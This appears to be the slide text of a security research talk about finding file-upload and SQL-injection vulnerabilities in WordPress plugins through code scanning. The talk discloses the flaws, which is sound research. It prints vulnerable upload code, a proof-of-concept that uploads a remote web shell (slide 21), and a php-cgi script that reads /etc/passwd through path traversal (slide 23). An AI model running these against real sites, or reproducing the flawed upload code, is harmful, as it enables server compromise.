2. What is WordPress
• Content Management System (CMS)
• 23% of all websites (3/23/15)
• Plugins - add functionality
• Plugins may be authored by anyone
3. Why hack WordPress plugins?
• #1 CMS by number and percentage
• Poor security model
• Lack of QA on 3rd party plugins
• More fun than Ruby Gems
4. Methodology
• Large code footprint with plugins and themes
• Prefer no authentication required to exploit*
• Look for PHP code that might be exploitable
• Search specific traits or patterns:
– upload.php
– download.php
– proxy.php
5. Requirements
• Processes user input
• Has reachable code, not just defining a class
• Doesn’t check if accessed directly
• Doesn’t require authentication
• Doesn’t require WP API hooks*
7. Plugin Code Criteria
• Doesn’t have POST/GET/FILE/REQUEST PUNT
• If (!defined(ABSPATH)) die; PUNT
• If (!is_admin) die; PUNT
• Function class() {}; PUNT
• May have Injectable SELECT, INSERT, DELETE,
UPDATE, etc.
8. A Quick Look
• Download a few random plugins
• Examine files named upload.php or
download.php
• Found RFI in videowhisper-video-presentation
• The code:
9. 1 <?php
2
3 if ($_GET["room"]) $room=$_GET["room"];
4 if ($_POST["room"]) $room=$_POST["room"];
5 $filename=$_FILES['vw_file']['name'];
6
7 include_once("incsan.php");
8 sanV($room);
9 if (!$room) exit;
10 sanV($filename);
11 if (!$filename) exit;
12
13 if (strstr($filename,'.php')) exit;
14
15 //do not allow uploads to other folders
16 if ( strstr($room,"/") || strstr($room,"..") ) exit;
17 if ( strstr($filename,"/") || strstr($filename,"..") ) exit;
18
19 $destination="uploads/".$room."/";
20 if ($_GET["slides"]) $destination .= "slides/";
21
22 $ext=strtolower(substr($filename,-4));
23
$allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi
",".mpg",".ppt",".pps ");
24
25 if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename);
26 ?>loadstatus=1
10. Exploiting it
• Upload .phtml .shtml
• Execute as www-data user
• Previously patched (I circumvented)*
• Also present in videowhisper-video-
conference-integration
* Annoying but still fun
11. Initial Progress
• Downloaded 10 random plugins
• Found RFI in two of them!
• Plugins had ~ 5k downloads
• Must be more vulnerabilities out there
12. Automate?
• Download lots of plugins
• grep code for specific patterns?
• Same idea as Ruby Gem research I did
• Easy to test with PoC
• More fun!
• Maybe write code to flag high risk code?
13. Code Ferret v1.0 Feature Doc
• Supply list of .php files to examine
• Check for user input
• Ignore if author checks for ABSPATH etc..
• Look for SQL functions
• Flag if use of WP API
• Flag if include files
14. Code Ferret v1.0 Design Doc
• Look for specific functions and strings
• Anything of interest added to link list
• Link list stores line number and reason for flag
• Dump output & statistics
• ANSI COLOR!
15. Semi Automatic
• git pull https://plugins.svn.wordpress.org
• Scraped Plugins off wordpress.org
• Downloaded 36,000 plugins
• About 20 GB of data
• upload.php or download.php
• Use Ferret v1.0 to quickly examine lots of files
• Profit! Err get some CVEs
17. Ferret First Run
• wp-powerplaygallery v3.3
• Flagged for user input with no access controls
• Accesses WordPress API calls
• Loads WordPress functions via require_once()
• Code examination turns up RFI and Blind SQLi!
18. wp-powerplaygallery RFI Code
143: if (!empty($_FILES)) {
144: if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) {
145: die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded
file."} , "id" : "id"}');
146: }
147:
148: // Read binary input stream and append it to temp file
149: if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) {
150: die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input
stream."}, "id" : "id"}');
151: }
.
158: while ($buff = fread($in, 4096)) {
159: fwrite($out, $buff);
160: }
20. RFI Exploit Requirements
• POST request
• Variable albumid must point at existing album
in database
• File to upload must exist locally
• Use c99 shell as our payload
• file variable contains payload with local full
path
• name variable contains our filename
21. PoC Exploit
• <?php
• /*Remote shell upload exploit for wp-powerplaygallery v3.3 */
• /*Larry W. Cashdollar @_larry0
• 6/27/2015
• albumid needs to be a numeric value matching an existing album number, 1 is probably a good start
• but you can enumerate these by using curl, and looking for redirect 301 responses:
• e.g. $ curl http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big
• ->301 exists else 404 doesn't.
• shell is http://www.vapidlabs.com/wp-content/uploads/power_play/4_uploadfolder/big/shell.php
• */
•
•
• $target_url = 'http://www.vapidlabs.com/wp-content/plugins/wp-powerplaygallery/upload.php';
• $file_name_with_full_path = '/var/www/shell.php';
•
• echo "POST to $target_url $file_name_with_full_path";
• $post = array('albumid'=>’1' , 'name' => 'shell.php','file'=>'@'.$file_name_with_full_path);
•
• $ch = curl_init();
• curl_setopt($ch, CURLOPT_URL,$target_url);
• curl_setopt($ch, CURLOPT_POST,1);
• curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
• curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
• $result=curl_exec ($ch);
• curl_close ($ch);
• echo "<hr>";
• echo $result;
• echo "<hr>";
• ?>
23. Lazy Exploits
• Started using php-cgi to test exploits
• The script Poc.sh
#!/bin/sh
export GATEWAY_INTERFACE=CGI/1.1
export PATH_TRANSLATED=UserSettings.php
export QUERY_STRING=network=../../../../../../../../etc/passwd
export REDIRECT_STATUS=CGI
export REQUEST_METHOD=GET
php-cgi ./plugin/buddystream/extensions/default/templates/UserSettings.php
$ ./Poc.sh
24. Pitfalls of Exploitation
• Exploitable code is a class and isn’t reachable*
• Code uses WordPress functions or functions
from other segments of code with no includes
• Code is incomplete or just broken
• Someone discovered it last year
25. Fatal Errors
• [Thu Aug 06 07:22:58 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function
trailingslashit() in /usr/share/wordpress/wp-content/plugins/ckeditor-for-wordpress/ckeditor_class.php
on line 27
• [Sun Aug 02 13:55:06 2015] [error] [client 192.168.0.2] PHP Fatal error: require_once(): Failed opening
required '/etc/wordpress/wp-settings.php' (include_path='.:/usr/share/php:/usr/share/pear') in
/etc/wordpress/config-www.vapidlabs.com.php on line 90
• [Sun Aug 02 19:28:11 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function
get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on
line 20
• [Sun Aug 02 19:28:24 2015] [error] [client 192.168.0.16] PHP Fatal error: Call to undefined function
get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on
line 20
• [Sun Aug 02 19:28:28 2015] [error] [client 192.168.0.2] PHP Fatal error: Call to undefined function
get_option() in /usr/share/wordpress/wp-content/plugins/omni-secure-files/lib/ajax/file_upload.php on
line 20
26. Vulnerable and Broken
• <?php
• $uploaddir = 'uploads/'; This needs to be full path
• $file = $uploaddir .
basename($_FILES['uploadfile']['name']);
• if
(move_uploaded_file($_FILES['uploadfile']['tmp_name'
], $file)) {
• echo "success";
• } else {
• echo "error";
• }
• ?>
27. oddities
• Return local IP address of server
• Prints the FULL path of the webserver server
• Plugin that downloads itself ?!
28. Statistics
• 20 CVEs
• 26* Vulnerabilities found
• 6 were previously discovered and not included*
• All in all 32 Vulnerabilities discovered
• Dozens of known exploitable vulnerabilities
remain unpatched
* I now google ‘<pluginname> vulnerability’ before
bothering to document
29. Improvements
• Parse php scripts checking for reachable code
• Use RIPS v1.0 (thanks Chad!)
• Circle back and examine vulnerabilities that
require login to WP for exploitation
31. Who Am I
• 15 years at Akamai Technologies
• Hobbyist Vulnerability Researcher
• 75+ CVEs
• Formerly Unix Systems Administrator 17 years
• Penetration Tester Back in Late 90s
• Enjoy Writing and Breaking Code